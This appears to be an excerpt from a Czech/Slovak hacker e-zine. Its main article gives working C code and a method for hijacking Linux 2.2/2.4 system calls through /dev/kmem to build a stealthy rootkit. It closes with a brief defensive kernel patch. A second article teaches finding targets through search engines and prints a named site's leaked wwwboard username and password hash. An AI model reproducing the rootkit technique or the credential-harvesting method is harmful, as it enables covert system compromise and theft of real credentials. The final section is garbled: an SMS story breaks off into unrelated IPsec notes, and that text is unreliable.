patchovani linuxoveho /dev/kmem
"mem is a character device file that is an image of the main memory of
the computer. it may be used, for example, to examine (and even patch)
the system."
-- gnu/linux, mem(4)
cas od casu si clovek potrebuje trosku pohrat s kernelem. zpravidla k tomu
slouzi vice ci mene kvalitni kernelovy moduly, kterych uz existuje pekna
radka. ja se tady zamerim na tema, jak se da upravit za behu kernel bez
system.map, lkm supportu a jejich pribuznych, jenom ciste pres /dev/kmem. a
abyste nerekli, ze sem skrt, je k dispozici i ukazka, jak to muze fungovat v
praxi, kompletni rootkit pro 2.2.x a 2.4.x serie kernelu, vicemene prvni sveho
druhu. pokud jeste furt nevis "wocogo", bude rozumejsi si trosku pobrowsovat
kernel, zaklady assembleru a minimalni znalosti jak funguji syscall a
kernel/user mechanismy jsou nutnosti...
/dev/kmem
vsechno, co si tu ukazeme, funguje pres /dev/kmem, coz, jak jiste vsichni
vime, je virtualni obraz systemu, ktery se chova jako soubor. to znamena,
muzeme nastavovat pozici pres lseek(), cist/psat pres read()/write() a to je
asi tak vsechno :). samozrejme, tohle nefunguje jen tak od prirody, musime mit
pravo zapisovat na zarizeni a proces, ktery open() provadi, musi mit
CAP_SYS_RAWIO, protoze kernel si tuhle capability nejdriv zkontroluje, nez nam
dovoli kmem otevrit.
zmena syscallu
syscally jsou z pohledu user-levelu (t.j. aplikaci) nejnizsi uroven systemu v
linuxu, takze ty nas budou zajimat nejvice. jejich adresy jsou ulozeny v
jedne tabulce (sys_call_table), 256 pointeru, tzn. indexovani cislem syscallu
v tabulce nam da pointer na handler danyho syscallu.
priklad v pseudokodu:
/* ukazka, "hello world" ;-) */
/* puvodni syscall */
int (*old_write) (int, char *, int);
/* new syscall handler */
new_write(int fd, char *buf, int count) {
if (fd == 1) { /* stdout ? */
old_write(fd, "hello world!n", 13);
return count;
} else {
return old_write(fd, buf, count);
}
}
old_write = (void *) sys_call_table[__NR_write]; /* uloz starej */
sys_call_table[__NR_write] = (ulong) new_write; /* nastav novej */
/* no, urcite muzeme delat lepsi veci nez zprasit konzoli
textem "hello world" :) */
tohle je klasickej scenar vsech moznych lkm rootkitu, tty snifferu/hijackeru
atd. kde je zaruceno, ze mame importovanou sys_call_table a muzeme s ni
zachazet podle libovule. v praxi to znamena, ze insmod ji resolvne do import
sekce modulu. [ create_module() / init_module() ... ]
sys_call_table bez pouziti lkm
samozrejme, ve svete neni vsechno tak jednoduche a casto bude kernel
zkompilovan bez podpory lkm. to znamena zadnej insmod, zadny /proc/ksyms a tak
dale. kernel v tomto pripade neuchovava zadnou informaci o symbolech
... mno, proc taky? na debugovani? od toho je system.map. jenze my adresu
sys_call_table potrebujeme, jestli chceme neco menit :).
docela elegantni zpusob muze byt:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
if (lseek(kmem,off,SEEK_SET)!=off) {
perror("kmem lseek"); exit(2);
}
if (read(kmem,m,sz)!=sz) {
perror("kmem read"); exit(2);
}
}
#define CALLOFF 100 /* precteme 100 bajtu handleru int $0x80*/
main ()
{
unsigned sys_call_off;
unsigned sct;
char sc_asm[CALLOFF],*p;
/* precteme IDTR */
asm ("sidt %0" : "=m" (idtr));
printf("idtr base at 0x%Xn",(int)idtr.base);
/* votevri kmem */
kmem = open ("/dev/kmem",O_RDONLY);
if (kmem<0) return 1;
/* precti IDT pro int $0x80 */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
printf("idt80: flags=%X sel=%X off=%Xn",
(unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);
/* mame handler, ted budeme hledat neco jako
call *0xadresa(,%eax,4) */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)memmem (sc_asm,CALLOFF,"xffx14x85",3);
sct = *(unsigned*)(p+3);
if (p) {
printf ("sys_call_table at 0x%x, call dispatch at 0x%xn",
sct, p);
}
close(kmem);
}
jak to funguje? detaily o idt zde rozebirat nebudu, viz. intelacka dokumentace
:), sidt instrukce se "zepta" procesoru [asm ("sidt %0" : "=m" (idtr));] kde
je ulozena struktura informaci o idt, z teto struktury dostaneme adresu idt
deskriptoru pro int $0x80 [readkmem (&idt,idtr.base+8*0x80,sizeof(idt));] z
toho se pak da uz snadno odvodit vstupni adresa int $0x80 [sys_call_off =
(idt.off2 << 16) | idt.off1;]
takze ted vime, kam procesor skace, kdyz nekdo zavola int $0x80. tak se na nej
podivame bliz:
[sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
0xc0106bc8 <system_call>: push %eax
0xc0106bc9 <system_call+1>: cld
0xc0106bca <system_call+2>: push %es
0xc0106bcb <system_call+3>: push %ds
0xc0106bcc <system_call+4>: push %eax
0xc0106bcd <system_call+5>: push %ebp
0xc0106bce <system_call+6>: push %edi
0xc0106bcf <system_call+7>: push %esi
0xc0106bd0 <system_call+8>: push %edx
0xc0106bd1 <system_call+9>: push %ecx
0xc0106bd2 <system_call+10>: push %ebx
0xc0106bd3 <system_call+11>: mov $0x18,%edx
0xc0106bd8 <system_call+16>: mov %edx,%ds
0xc0106bda <system_call+18>: mov %edx,%es
0xc0106bdc <system_call+20>: mov $0xffffe000,%ebx
0xc0106be1 <system_call+25>: and %esp,%ebx
0xc0106be3 <system_call+27>: cmp $0x100,%eax
0xc0106be8 <system_call+32>: jae 0xc0106c75 <badsys>
0xc0106bee <system_call+38>: testb $0x2,0x18(%ebx)
0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) <-- to je ono
0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1)
0xc0106bff <system_call+55>: nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xc01e0f18 <-- pointr na sct
(gdb) x/xw (system_call+44)
0xc0106bf4 <system_call+44>: 0x188514ff <-- opcode (little endian)
(gdb)
(system_call je symbol handleru int $0x80) uz je asi jasne, o co nam pujde,
staci kdyz budeme hledat [memmem (sc_asm,CALLOFF,"xffx14x85",3);] vypln
call *0xadresa(%eax,4) .. neprimej skok na adresu v sys_call_table podle cisla
v eax, strojove by to melo byt:
0xff 0x14 0x85 0x[addresa]
nutno poznamenat, ze zde se muze uplatnit o neco vice paranoidni hack, a to
zmenit vektor int $0x80 primo v idt na nas handler a zachytavat syscally tam,
jenze to by znamenalo vice assembleru, semafory a takovy ty osklivosti :).
takze ted vime, kde mame sys_call_table, ted muzeme zmenit adresu nejakeho
syscallu:
pseudokod:
readkmem(&old_write, sct + __NR_write * 4, 4); /* save old */
writekmem(new_write, sct + __NR_write * 4, 4); /* set new */
presmerovani tabulky syscallu
v praxi existuji dve metody, jak presmerovat nejaky syscall. bud primo zmenit
adresu v kernelovej sys_call_table, nebo vytvorit jeji kopii s modifikovanymi
adresami a prinutit int $0x80 handler aby ji pouzival. my pouzijeme druhou
metodu, protoze vetsina takzvanych "rootkit detektoru" to moc neprokoukne.
pseudokod:
ulong sct = adresa kernelovej sys_call_table[]
char *p = pointer na int 0x80 instrukci call sct(,eax,4)
ulong nsct[256] = nova tabulka s modifikovanejma adresama
readkmem(nsct, sct, 1024); /* precti starou */
old_write = nsct[__NR_write]; /* zmen syscall(y) */
nsct[__NR_write] = new_write;
/* a podstrc handleru nasi adresu :) */
writekmem((ulong) p+3, nsct, 4);
/* nutno poznamenat, ze tohle realne nemuze fungovat,
protoze nemuzeme jentak beztrestne presmerovat neco
v kernelu do userspace ... */
vytvorime kopii originalni tabulky [readkmem(nsct, sct,1024);], zmenime
syscally, ktere nas zajimaji [nsct[__NR_write] = new_write;] a pak zmenime
jenom argument instrukce call *adresa(%eax,4) primo v handleru int
$0x80.
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4)
~~~~|~~~~~
|__ tady bude adresa
nasi (upravene) sct[]
alokovani pameti v kernelu bez lkm
dalsi vec, co potrebujeme j,e pamet v kernelu, to znamena nad limitem
0xc0000000. hodnota 0xc000000 je pomyslna delici cara mezi userspacem a
kernelem, userspace proces nema zpravidla moznost zapisovat nad tento limit.
jeste poznamenejme ze tato hranice nemusi byt 0xc0000000, ale cokoli jineho,
takze je rozumne ji odhadnou za behu (treba z adresy int $0x80 handleru). nuze,
jak ziskat par stranek pameti nad timto limitem ? podivame se jak to normalni
kernel dela (/usr/src/linux/kernel/module.c):
[...]
void inter_module_register(const char *im_name, struct module *owner,
const void *userdata)
{
struct list_head *tmp;
struct inter_module_entry *ime, *ime_new;
if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) {
/* Overloaded kernel, not fatal */
[...]
hmm, uplne normalni kmalloc, jenze tuto funkci zatim jeste nemuzeme
zavolat, ponevadz:
- nezname jeji adresu (viz nize)
- nezname hodnotu GFP_KERNEL prave bezicihi kernelu
- nemuzeme volat kernel primo z userspace
vyhledani kmalloc()
pokud prece jenom muzeme pouzit LKM, je to jednoduche:
ulong get_sym(char *n) {
struct kernel_sym tab[MAX_SYMS];
int numsyms;
int i;
numsyms = get_kernel_syms(NULL);
if (numsyms > MAX_SYMS || numsyms < 0) return 0;
get_kernel_syms(tab);
for (i = 0; i < numsyms; i++) {
if (!strncmp(n, tab[i].name, strlen(n)))
return tab[i].value;
}
return 0;
}
ulong get_kma(ulong pgoff)
{
ret = get_sym("kmalloc");
if (ret) return ret;
return 0;
}
komentar viz `man get_kernel_syms`.
pokud tady ale lkm neni, nastavaji krusne casy, jedine co nas napadlo
je takova znouzectnost. prozkoukame .text sekci kernelu a budeme hledat
vyplne typu:
push GFP_KERNEL <neco mezi 0-0xffff>
push size <neco mezi 0-0x1ffff>
call kmalloc
vytvorime malou statistiku a funkce ktera nam vyjde jako nejcasteji volana
bude *mozna* kmalloc :) presnost neni zrovna nejlepsi, zpravidla vychazi tak
80% nalezu na kmalloc() a 20% na nakej balast okolo, ale je to bez lkm, tak se
stim da zit :)
kod:
/* kmalloc() vyhledavani */
#define RNUM 1024
ulong get_kma(ulong pgoff)
{
struct { uint a,f,cnt; } rtab[RNUM], *t;
uint i, a, j, push1, push2;
uint found = 0, total = 0;
uchar buf[0x10010], *p;
int kmem;
ulong ret;
/* nez skusime neco bruteforcovat, skusime to nejdrif podobrem */
ret = get_sym("kmalloc");
if (ret) return ret;
/* mno, tak ne, no */
kmem = open(KMEM_FILE, O_RDONLY, 0);
if (kmem < 0) return 0;
for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000);
i += 0x10000) {
if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0;
/* prozkoumej blok a hledej push/push/call pattern */
for (p = buf; p < buf + 0x10000;) {
switch (*p++) {
case 0x68:
push1 = push2;
push2 = *(unsigned*)p;
p += 4;
continue;
case 0x6a:
push1 = push2;
push2 = *p++;
continue;
case 0xe8:
if (push1 && push2 &&
push1 <= 0xffff &&
push2 <= 0x1ffff) break;
default:
push1 = push2 = 0;
continue;
}
/* mame have push1/push2/call seq; ted adresu */
a = *(unsigned *) p + i + (p - buf) + 4;
p += 4;
total++;
/* skus najit v tabulce */
for (j = 0, t = rtab; j < found; j++, t++)
if (t->a == a && t->f == push1) break;
if (j < found)
t->cnt++;
else
if (found >= RNUM) {
return 0;
}
else {
found++;
t->a = a;
t->f = push1;
t->cnt = 1;
}
push1 = push2 = 0;
} /* for (p = buf; ... */
} /* for (i = (pgoff + 0x100000) ...*/
close(kmem);
t = NULL;
for (j = 0;j < found; j++) /* najdi viteze */
if (!t || rtab[j].cnt > t->cnt) t = rtab+j;
if (t) return t->a;
return 0;
}
uvedeny zdrojak si nedela nejak moc velke starosti s exotickejma optionama
gcc, kod kernelu muze klidne vypadat uplne jinak (trebars kmalloc() jako
inline :). mohli by sme zvysit presnost hledanim presnych hodnot GFP_KERNEL
(viz. nize), ale prakticky to neni nutny.
GFP_KERNEL
toto je parametr kmalloc(), ktery specifikuje typ pameti, jakou chceme
alokovat. samozrejme vyvojari kernelu neleni a release od releasu kernelu se
ta hodnota lehce lisi, coz nam pridelava spoustu potizi, kdyz danou hodnotu
netrefime a kernel vyblije do klogd peknej dvoustrankovej ooops. zatim to
resim tak, ze si zistim verzi kernelu a podle toho pouziju danou hodnotu, ale
nevypada to zrovna nejstastneji. zvlaste s 2.4.7-2.4.9, kde to jednou chodi,
jednou ne...
+------------------------------+
| verze kernelu | GFP_KERNEL |
+----------------+-------------+
| 1.0.x .. 2.4.5 | 0x3 |
+----------------+-------------+
| 2.4.6 .. 2.4.x | 0x1f0 |
+----------------+-------------+
tato tabulka neni presna. vychazi jen z faktu, ze timhle spusobem to vetsinou
funguje. jsou to hodnoty, ktere muzeme pouzit (btw, pokud si nekdo da
tu praci a zisti mi hodnoty pro special-kernely od suse, redhatu, slacku atd,
budu jedine rad, obvzlaste u rady 2.4.x :).
a tady kod:
/* uname struc */
struct un {
char sysname[65];
char nodename[65];
char release[65];
char version[65];
char machine[65];
char domainname[65];
};
int get_gfp()
{
struct un s;
uname(&s);
if ((s.release[0] == '2') && (s.release[2] == '4') &&
(s.release[4] >= '6' ||
(s.release[5] >= '0' && s.release[5] <= '9'))) {
return NEW_GFP;
}
return OLD_GFP;
}
prepsani syscallu pro alokaci pameti
Jak uz sem rek, nemuzeme volat kmalloc() primo z userspacu, takze
pouzijem malej trik:
1. vemem adresu nejakeho malo pouzivaneho syscallu (IDT -> int 0x80 -> sys_call_table)
2. udelame malou rutinu, ktera obsahujici call na kmalloc() a vrati adresu alokovane pameti
3. ulozime si sizeof(nase_rutina) bajtu z kodu naseho malo pouzivaneho syscallu
4. prepiseme tento syscall nasi rutinou
5. zavolame tento syscall z userspace pres int $0x80, cimz rutina operuje v kernel space a muze volat kmalloc(), to ucini a vrati nam pointer na pamet
6. obnovit puvodni kod naseho malo pouzivaneho syscallu
ta rutina muze vypadat treba takhle:
struct kma_struc {
ulong (*kmalloc) (uint, int);
int size;
int flags;
ulong mem;
} __attribute__ ((packed));
int our_routine(struct kma_struc *k)
{
k->mem = k->kmalloc(k->size, k->flags);
return 0;
}
zde ja primo predam z userspacu strukturu s potrebnymi hodnotami, velikost
muzeme dat natvrdo, zpravidla staci 32-48 bajtu.
co dal?
kdyz tohle vsechno skloubime dohromady, muzeme relativne efektivne vyuzit
/dev/kmem za ucelem nejake neplechy :). to znamena zjistit int $0x80 handler,
zjistit sys_call_table, alokovat pamet v kernelu, do ni nakopirovat kod
handleru nasich syscallu, podstrcit falesnou sys_call_table int $0x80 handleru
a hotovo.
na co davat pozor
- na verze kernelu (myslim tim GFP_KERNEL)
- hrat si jenom se syscallama, pouzivani struktur kernelu jako task_struct neni rozumny, protoze obsah se meni kernel od kernelu, a mi prece nechceme porad kompilovat :)
- smp muze obcas delat problemy, taky psat procedury reentrantne, kde to je treba pouzivat zamky
jak se branit?
nuze, ted budeme chvili ti hodni. co nam z toho vsecho vyplyva? /dev/kmem se
prakticky rovna lkm, akorat je to trosku komplikovanejsi. pokud chceme zamezit
pripadnym h4x0rum zneuzivanim tyhle techniky, muzeme skusit tenhle patch:
--- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001
+++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001
@@ -49,6 +51,8 @@
const char * buf, size_t count, loff_t *ppos)
{
ssize_t written;
+ /* disable kmem write */
+ return -EPERM;
written = 0;
#if defined(__sparc__) || defined(__mc68000__)
kterej zaruci, ze z /dev/kmem pujde jen cist, mozna to spusobi urcitou
nekompatibilitu s nejakyma prehistorickyma utils... nezakompilovat podporu pro
lkm je samozrejmosti, jinak to vsechno ztraci smysl :).
odkazy
[1] silvio cesare's homepage, spousta informaci o podobnych vecech
[2] silvio's article, article primo o kernel patching (se system.map)
[3] quantumg's homepage, zajimave veci jako viry pod linux
[4] "abuse of the linux kernel for fun and profit" zaklady lkm :)
[5] "(nearly) complete linux loadable kernel modules. the definitive guide for hackers, virus coders and system administrators."
[6] "indetectable linux kernel modules" by spacewalker, idea implantovani sys_call_table primo do int $0x80 handleru
[7] suckit - pro deti na hrani - ia32 2.2.x/2.4.x rootkit vyuzivajici tuhle techniku, v soucasnej dobe trosku out-of-date
sd, sd(at)sf.cz
navrat na obsah
co ty na to ? board
utoky, utoky, ach tie utoky
koordinacne centrum cert odhaduje, ze pocet
utokov na pocitacove systemy v roku 2001 prekroci hodnotu 40000, co je
dvojnasobok poctu incidentov hlasenych minuly rok. pravdepodobne pojde o
virtualne utoky, nemyslim zeby niekto nahlasoval ze vyfackal svoj pocitac
pretoze mu opat spadol jeho (ne)oblubeny operacny system.
zvacseniu poctu utokov napomohlo najma priaznive prostredie (nedostatky v
zabezpeceni systemov) a existencia navodov ako postupovat. tento text nema ani
nahodou za ciel vam davat navod na utok, ale ma sluzit len ako studijny
material pre ludii, ktori sa zaoberaju bezpecnostou pocitacovych systemov.
na pocitacove systemy sa utoci z rovnakeho dovodu ako na ine ciele. pre
zabavu, alebo pre zisk (prestize, penazi, cohokolvek). existuje niekolko
sposobov ako zautocit na pocitacovy system a zaroven sa vyhnut odhaleniu.
pravdepodobne najlepsi sposob ako sa vyhnut problemom, je dat urobit riskantnu
pracu niekomu inemu. najlepsie anonymne a bez velkych nakladov. musime najst
niekoho, koho nebude zaujimat kto sme, niekoho kto nema tolko inteligencie,
aby sa bal rizika, niekoho kto nekladie hlupe otazky, niekoho, komu nebudeme
musiet platit. najmime si robotov.
pocitacovy system je mozne ohrozit z vnutra alebo z vonku. v tomto clanku sa
nebudeme zaoberat internymi utokmi (mame pristup do systemu, na ktory je utok
zamerany), ale obratime pozornost na cast, ktora obsahuje vacsiu vyzvu, na
napadnutie systemu z vonku, z akejkolvek casti internetu.
vyber ciela
k prevedeniu utoku su potrebne minimalne dve veci. utocnik a ciel. v
nasledujucich riadkoch budeme uvazovat ze utocnikom sme my. ako ciel utoku si
mozme vybrat len jeden pocitac, alebo mozme zautocit na viacero podobnych
cielov sucasne. utok na jeden ciel je mozne chapat ako podmnozinu hromadneho
utoku, takze sa nim nebudeme specialne zaoberat. isto vas napadne ze pre utok
voci viacerym cielom je najlepsie extrahovat zoznam cielov, napr. z databaz
pridelenych dns mien, alebo ip adries. no, nieje to celkom dobry napad. poucme
sa na priklade z nedalekej minulosti, ked sa cervo-virus nimda vyuzivajuci
chybu v iis od microsoftu pokusal napadnut vsetko co malo (aj nemalo) http
server. je to ako keby sme sa pokusali odomknut fab klucom vsetky zamky na
ktore narazime, ved zamok ako zamok, nie? urcite bude lepsou metodou
vytipovat si vsetky fab zamky a tie podrobit blizsiemu, velmi intimnemu
skumaniu. priamo sa nam natiska slovny zvrat: "a co som robot?!". bingo.
nechame to robotom. stretavame sa s nimi stale, vuzivame ich takmer kazdy den.
su to vyhladavacie sluzby. google, altavista, yahoo, lycos a kto vie este, pod
akymi krycimi menami sa skryvaju. zadame im vhodne naformulovanu poziadavku a
oni nam radi a ochotne vychrlia zoznam cielov, ktorym stoji za to sa venovat.
zaujimaju nas systemy, ktore su napadnutelne zvonku. systemy, ktore voci
internetu disponuju slabinami. slabinami, ktore su oficialne nazyvane
sluzbami. sluzby, v ktorych sa neprestajne objavuju nove a nove chyby. podla
nich si vyberieme nase ciele. vyhladavacie sluzby ich uz pre nas zmapovali,
alebo ich pre nas zmapuju. protokol http, server poskytujuci stranky pisane v
php, jave. aplikacie poskytujuce rozhranie pre webove prehliadace. a je toho
este ovela viac.
prieskum
pred zahajenim utoku si robime prieskum. oplati sa to, ciastocne tym vylucime
neuspech utoku. nenapadne si obzrieme miesto nasho buduceho uderu.
vyhodnotime ziskane informacie, poopravime strategiu. bohuzial, tu uz zacina
riziko, vstupujeme na nebezpecnu podu. mozme nas prieskum ciastocne
zamaskovat, no urcite sa niekomu budeme zdat podozrivi. najlepsie, co mozme
urobit, je poslat niekoho namiesto nas. roboti su neunavni, ked nam pomohli s
vyberom cielov, pomozu nam aj s prieskumom. pokial uz to neurobili iniciativne
sami. ak je sluzba, na ktoru sa zameriavame avizovana niekde na www, roboti ju
urcite nasli a zaradili do svojej bazy dat. ak nie, pripravime im slusne
susto. zoznam systemov spolu so zoznamom vyuzitelnych slabin. a pockame si.
vysledky na seba zvycajne nedavaju dlho cakat. a ak si robotov pracujucich pre
nas niekto vsimne, no a co? robotom je v dnesnej dobe dovolene to, co sa
normalnym smrtelnikom neprepaci ani nahodou.
utok
ked sme pri prieskume zacinali riskovat, teraz sliapeme po minovom poli.
samotny utok mozme previest osobne, ale, naozaj je nutne riskovat odhalenie?
viete o nejakom generalovi, ktory by bojoval v prednej lini? sposoby pouzite
pri prieskume, su velmi dobre aplikovatelne aj pri utoku. staci nam len dat
prieskumnikom zbrane a rozkaz k utoku. je vela zle naprogramovanych sluzieb,
ktore zlozi vhodne napisany vstupny retazec. retazec, ktory namiesto nas posle
vyhliadnutemu cielu pricinlivy robot. staci mu ho len naservirovat a vyckat.
prax
po par kilobajtoch hlupo a nudne napisanej teorie je cas siahnut po par
prikladoch. v prielome 16
napisal salo clanok [1] o tom, ako
pouzit www vyhladavace pre najdenie chybne napisanych php stranok.
druhy priklad sa bude tykat aplikacie napisanej v perle, wwwboard od matt
wrighta. jedna sa o script, ktory na www umiestnuje nastenku. tato nastenke je
spravovatelna cez www interface. wwwboard ma v implicitnej instalacii volne
cez web pristupny subor s menom a heslom spravcu nastenky. pre najdenie
servrov, ktore obsahuju wwwboard sa nam staci opytat napr. vyhladavaca google
nasledovnu otazku:
http://www.google.com/search?q=allinurl:+wwwboard&num=100&start=0&sa=N&filter=0
dostaneme priblizne 2,720,000 odkazov na wwwboard. ak napr. za url
`http://www.bizweb2000.com/wwwboard/' pridame passwd.txt, dostaneme vystup
`bizweb20:gcxmt4ul6.j0s'. takze mozme urobit stranku s odkazom
`http://www.bizweb2000.com/wwwboard/passwd.txt' a po jej najdeni robotom, si
vystup cisto a bezbolestne vyzdvihnut v databaze vyhladavaca. skuste si odkaz:
http://www.google.com/search?q=allinurl:+wwwboard/passwd.txt&num=100&sa=N&filter=0.
sposob enkrypcie je znamy, ako ziskat povodne heslo, tiez. to nam staci aby
sme sme si nastenku upravili podla svojho. a ked uz mame meno a heslo, preco
ich nevyskusat na systeme, na ktorom wwwboard bezi, pripadne na stroji, z
ktoreho sa spravca hlasi? mozte na to vziat jed, ze nie kazdy si vymysla
jedinecne hesla pre svoje systemy.
neexistuje sposob ako zabranit takymto utokom. jedina ochrana je pouzivanie
dobre a bezpecne napisanych programov a ich spravna konfiguracia. ale kto dnes
vie ci je program beziaci prave na vasom pocitaci dobre a bezpecne napisany?
nikto. len cas ukaze.
pouzite zdroje:
[1] prielom 16: salo, php nase kazdodenne
[2] phrack, issue 0x39, phile #0x0a: michal zalewski, against the system: rise of the robots
[3] cnn.com record year for security breaks expected
[4] information technology -- essential but vulnerable: how prepared are we for attacks?
mikulas papuca s priatelkou, prielom(at)hysteria.sk
navrat na obsah
co ty na to ? board
ako eurotel varil hadi olej
kde bolo, tam bolo, boli raz v nasej malej krajine dvaja operatori, ktori
neposkytovali vsetkym svojim klientom sluzbu posielania ich e-mailov vo forme
sms spravy na mobil zdarma, tak ako je to zvykom v kazdej inej
civilizovanej krajine (napriklad v cechach). preto sa ludia -- obcania
internetu -- rozhodli, ze si tuto sluzbu naprogramuju. pre klientov eurotelu
bol najjednoduchsi sposob pouzit sluzbu
href="http://www.diar.sk/">www.diar.sk
(ked uz vsetky zahranicne brany
zaviedli limit na pocet odoslanych sms). ta vo svojich
href="http://www.diar.sk/new_user.html"> podmienkach
taketo nieco
nezakazovala, preto to bolo idealne riesenie -- bolo uplne legalne.
jeden znamy, ktory bol na navsteve v el&t -- firme, zaoberajucej sa
vyvojom aplikacie diar, mi hovoril, ako mu ukazovali, ze si z toho robi vela
ludi vlastnu sms branu na podobne ucely, ale ze im to nevadi. neskor vsak asi
zmenili nazor (pravdepodobne v euroteli) a rozhodli sa zakazat posielanie
sprav na vlastne cislo. toto by efektivne zabranilo sms notifikacii (ktora
bola uplne v sulade s pravidlami). vtedy sa nenaslo par rozumnych hlav a
dohodlo sa na vzajomnom posielani (ja posielam tebe a ty mne). takto to par
mesiacov (zase bez akehokolvek porusenia pravidiel) fungovalo. dost ludi
pouzivalo moj softver
href="http://juraj.bednar.sk/work/software/diarlib/">diarlib
nextheader urcuje nasledujici vyssi protokol (esp, tcp). spi (security
parameter index) jednoznacne urcuje sa (tj. proto, klice, algoritmy) a je
inkrementovan pro dst addresu nebo sa. payload len urcuje delku ah hlavicky
minus 2 (kvuli zpetne kompatibilite s puv. navrhem ah). sekvencni cislo
zajistuje ochranu pro replay utokum. presny format ah hlavicky lze nalezt v
]. spi, seq.
num. maji tentyz vyznam jako u ah, padding muze slouzit jednak k znesnadneni
zarovnana na delku, kterou pozaduje dana blokova sifra.